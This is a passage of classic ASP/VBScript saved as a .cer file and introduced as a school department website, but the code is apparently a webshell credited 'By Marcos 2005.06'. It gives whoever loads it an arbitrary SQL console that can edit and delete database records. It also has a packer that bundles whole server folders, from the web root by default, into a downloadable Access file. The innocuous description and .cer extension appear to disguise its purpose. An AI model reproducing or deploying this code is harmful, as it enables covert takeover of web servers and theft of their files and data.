200681443122869.cer

学校部门网站设计,里面有好多模块譬如 简介联系方式 登陆注册留言新闻发布

				Next
			End If
			echo "<tr>"
			echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & ">&nbsp;Page: "
			For i = 1 To rs.PageCount
				If i > maxPageCount Then
					echo "..."
					Exit For
				End If
				echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
			Next
			echo "</td></tr></table>"
			rs.Close
		 Else
			conn.Execute(sql)
			ChkErr(Err)
			echo "<script>alert('查询执行成功,按确定返回.\n刷新后可以看到执行效果.');history.back();</script>"
			Set rs = Nothing
			Set Cat = Nothing
			DestoryConn()
			Exit Sub
		End If

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
		
		Set rs = Nothing
		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub SqlShowEdit()
		Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
		Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		intI = InStr(strParam, "!")
		intFindI = InStr(LCase(sql), " where")
		intFindJ = InStrRev(LCase(sql), "order ")
		intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
		strValue = Mid(strParam, intI + 1)
		strColumn = Left(strParam, intI - 1)
		strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
		
		If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
		If intFindI > 0 Then
			strJoinTag = ") And "
			sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
		 Else
			strJoinTag = " Where "
		End If
		If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))

		CreateConn()
		strPrimaryKey = GetPrimaryKey(strTable)
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If strExtra <> "" And IsNumeric(strValue) = True Then
			sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
			sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
		 Else
			sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
		End If

		intFindM = InStr(LCase(sql), "from")
		intFindI = InStr(LCase(sql), " where")
		intFindL = InStr(intFindM, LCase(sql), ",", 1)
		If intFindL > 0 Then
			If (intFindL > intFindM) And (intFindL < intFindI) Then
				multiTables = True
			End If
		End If
		
		If theAct <> "edit" Then
			rs.Open sql, conn, 1, 3
			ChkErr(Err)
			If rs.Eof Then
				echo "<script>alert('该记录不存在!');history.back();</script>"
				Response.End()
			End If

			If theAct = "new" Then rs.AddNew

			If theAct = "del" Then
				rs.Delete
				rs.Update
				AlertThenClose("删除成功!")
				Response.End
			 Else
				If theAct <> "pre" And theAct <> "next" Then
					For Each x In rs.Fields
						If strPrimaryKey <> x.Name Then
							rs(x.Name) = Request.Form(x.Name & "_Column")
						End If
					Next
					rs.Update
				End If
				strValue = rs(strColumn)
			End If

			If theAct = "new" Then
				sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
			End If
			rs.Close
		End If

		rs.Open sql, conn, 1, 1

		echo "<table border=1 width=600>"
		echo "<tr>"
		echo "<td height=22 class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>"
		echo "</tr>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct value=save>"
		echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
		echo "<input type=hidden name=theTable value=""" & strTable & """>"
		echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
		echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"

		For Each x In rs.Fields
			echo "<tr>"
			echo "<td height=22 width=150>&nbsp;" & HtmlEncode(x.Name) & "<br/>&nbsp;(<em>" & GetDataType(x.Type) & "</em>)</td>"
			echo "<td width=450>&nbsp;"
			echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
			echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "") 
			echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
			echo "</td></tr>"
		Next
		echo "<tr>"
		echo "<td colspan=2 class=td align=center>"
		If multiTables = False Then
			If strPrimaryKey = "" Then
				echo "<input type=button value=修改 onclick=if(confirm('确定要修改这条记录吗?\n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
			 Else
				echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
				echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>"
				echo "<input type=button value=删除 onclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>"
			End If
		 Else
			echo "<input type=button value=暂不支持多表操作 disabled>"
		End If
		echo "<input type=reset value=重置><input type=button value=关闭 onclick='window.close();'>"
		If IsNumeric(strValue) = True Then
			echo "<input type=button value=上一条 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
			echo "<input type=button value=下一条 onclick=""this.form.theAct.value='next';this.form.submit();"">"
		End If
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		
		rs.Close
		Set rs = Nothing
		DestoryConn()
	End Sub

	Sub CreateConn()
		Dim connStr, mdbInfo, userName, passWord, strPath
		If isDebugMode = False Then On Error Resume Next
		Set conn = Server.CreateObject("Adodb.Connection")
		If LCase(Left(thePath, 4)) = "sql:" Then
			connStr = Mid(thePath, 5)
			isSqlServer = True
		 Else
			mdbInfo = Split(thePath, ";")
			strPath = mdbInfo(0)
			strPath = Server.MapPath(strPath)
			ChkErr(Err)
			If UBound(mdbInfo) >= 2 Then
				userName = mdbInfo(1)
				passWord = mdbInfo(2)
			End If
			connStr = Replace(accessStr, "{$dbSource}", strPath)
			connStr = Replace(connStr, "{$userId}", userName)
			connStr = Replace(connStr, "{$passWord}", passWord)
		end if
		conn.Open connStr
		ChkErr(Err)
	End Sub
	
	Sub DestoryConn()
		conn.Close
		Set conn = Nothing
	End Sub
	
	Function GetDataType(flag)
		Dim str
		Select Case flag
			Case 0 : str = "EMPTY"
			Case 2 : str = "SMALLINT"
			Case 3 : str = "INTEGER"
			Case 4 : str = "SINGLE"
			Case 5 : str = "DOUBLE"
			Case 6 : str = "CURRENCY"
			Case 7 : str = "DATE"
			Case 8 : str = "BSTR"
			Case 9 : str = "IDISPATCH"
			Case 10 : str = "ERROR"
			Case 11 : str = "BIT"
			Case 12 : str = "VARIANT"
			Case 13 : str = "IUNKNOWN"
			Case 14 : str = "DECIMAL"
			Case 16 : str = "TINYINT"
			Case 17 : str = "UNSIGNEDTINYINT"
			Case 18 : str = "UNSIGNEDSMALLINT"
			Case 19 : str = "UNSIGNEDINT"
			Case 20 : str = "BIGINT"
			Case 21 : str = "UNSIGNEDBIGINT"
			Case 72 : str = "GUID"
			Case 128 : str = "BINARY"
			Case 129 : str = "CHAR"
			Case 130 : str = "WCHAR"
			Case 131 : str = "NUMERIC"
			Case 132 : str = "USERDEFINED"
			Case 133 : str = "DBDATE"
			Case 134 : str = "DBTIME"
			Case 135 : str = "DBTIMESTAMP"
			Case 136 : str = "CHAPTER"
			Case 200 : str = "VARCHAR"
			Case 201 : str = "LONGVARCHAR"
			Case 202 : str = "VARWCHAR"
			Case 203 : str = "LONGVARWCHAR"
			Case 204 : str = "VARBINARY"
			Case 205 : str = "LONGVARBINARY"
			Case Else : str = flag
		End Select
		GetDataType = str
	End Function
	
	Function GetPrimaryKey(strTable)
		Dim rsPrimary
		If isDebugMode = False Then On Error Resume Next
		Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
		If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
		Set rsPrimary = Nothing
	End Function

	Sub PagePack()
		ShowTitle("文件夹打包/解开器")
		Server.ScriptTimeOut = 5000
		
		If theAct = "PackIt" Or theAct = "PackOne" Then
			PackIt()
			AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\n下载下来后可以使用unpack.vbs进行解开.")
			Response.End()
		End If
		If theAct = "UnPack" Then
			UnPack()
			AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.")
			Response.End()
		End If
		
		PackTable()
	End Sub
	
	Sub PackTable()
		echo "<base target=_blank>"
		echo "<table width=750 border=1>"
		echo "<tr>"
		echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td width='20%'>&nbsp;打包</td>"
		echo "<td>&nbsp;<input name=thePath value='/' style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=PackIt name=theAct>"
		echo "<input type=submit value='开始打包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<form method=post action='" & url & "'>"
		echo "<tr>"
		echo "<td>&nbsp;解包</td>"
		echo "<td>&nbsp;<input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
		echo "<input type=hidden value=PagePack name=PageName>"
		echo "<input type=hidden value=UnPack name=theAct>"
		echo "<input type=submit value='开始解包'>"
		echo "</td></tr>"
		echo "</form>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr align=right>"
		echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub PackIt()
		Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
		If isDebugMode = False Then On Error Resume Next

		strPath = Server.MapPath(thePath)
		db = strPath & "\" & sPacketName
		Set rs = Server.CreateObject("ADODB.RecordSet")
		Set stream = Server.CreateObject("ADODB.Stream")
		Set conn = Server.CreateObject("ADODB.Connection")
		Set adoCatalog = Server.CreateObject("ADOX.Catalog")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db

		If fso.FolderExists(strPath) = False Then
			ShowErr(thePath & " 目录不存在或者不允许访问!")
		End If
		If theAct = "PackIt" Then
			If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
				ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.")
			End If
		End If
		If fso.FileExists(db) = False Then
			adoCatalog.Create connStr
			conn.Open connStr
			conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
		 Else
			conn.Open connStr
		End If
		
		stream.Open
		stream.Type = 1
		rs.Open "FileData", conn, 3, 3

		If theAct = "PackIt" Then
			Call FsoTreeForMdb(strPath, rs, stream)
		 Else
		 	strPath = Server.MapPath(GetPost("truePath")) & "\"
			For Each objX In Request.Form("checkBox")
				strPathB = strPath & objX
				isFolder = fso.FolderExists(strPathB)
				If isFolder = True Then
					Call FsoTreeForMdb(strPathB, rs, stream)
				 Else
					If InStr(sysFileList, "$" & objX & "$") <= 0 Then
						rs.AddNew
						rs("thePath") = Mid(strPathB, Len(rootPath) + 2)
						stream.LoadFromFile(strPathB)
						rs("fileContent") = stream.Read()
						rs.Update
					End If
				End If
			Next
		End If

		rs.Close
		Conn.Close
		stream.Close
		Set rs = Nothing
		Set conn = Nothing
		Set stream = Nothing
		Set adoCatalog = Nothing
	End Sub
	
	Sub UnPack()
		Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
		If isDebugMode = False Then On Error Resume Next

		strPath = Server.MapPath(thePath)
		str = fso.GetParentFolderName(strPath) & "\"
		Set rs = CreateObject("ADODB.RecordSet")
		Set stream = CreateObject("ADODB.Stream")
		Set conn = CreateObject("ADODB.Connection")
		connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath

		conn.Open connStr